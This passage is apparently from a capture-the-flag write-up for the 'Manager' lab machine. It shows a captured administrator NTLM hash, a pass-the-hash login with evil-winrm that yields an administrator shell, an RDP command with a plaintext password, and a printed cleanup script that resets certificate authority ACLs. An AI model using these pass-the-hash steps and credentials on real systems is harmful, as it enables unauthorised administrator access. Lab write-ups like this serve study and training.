[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef
.

WinRM

With the hash, I can get a shell as administrator using Evil-WinRM:

puck@kali$ evil-winrm -i manager.htb -u administrator -H ae5064c2f62317332c88629e025924ef

Evil-WinRM shell v3.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents>

And grab root.txt:

-------
Beyond Root working

xfreerdp3 /v:10.10.11.236:3389 /u:puck /p:Start123! /w:1566 /h:968 


*Evil-WinRM* PS C:\programdata> type C:\users\administrator\AppData\Local\Microsoft\input\clean.ps1
Get-CertificationAuthority -Name "manager-dc01-ca" | Get-CATemplate | Remove-CaTemplate -Name "SubCA"
$acl = Get-CertificationAuthority -Name "manager-dc01-ca" | Get-CAACL
Remove-CAACL -InputObject $acl -Identity "MANAGER\Raven" -AccessType "Allow"
$ACE = New-Object SysadminsLV.PKI.Security.AccessControl.CertSrvAccessRule ([Security.Principal.NTAccount]"Raven"), "ManageCA, Enroll", "Allow"
$acl | Add-CAACL -ACE $ACE
$ACE = New-Object SysadminsLV.PKI.Security.AccessControl.CertSrvAccessRule ([Security.Principal.NTAccount]"Operator"), "ManageCA, Read", "Deny"
$acl | Add-CAACL -ACE $ACE
$acl | Set-CertificationAuthorityAcl -RestartCA

.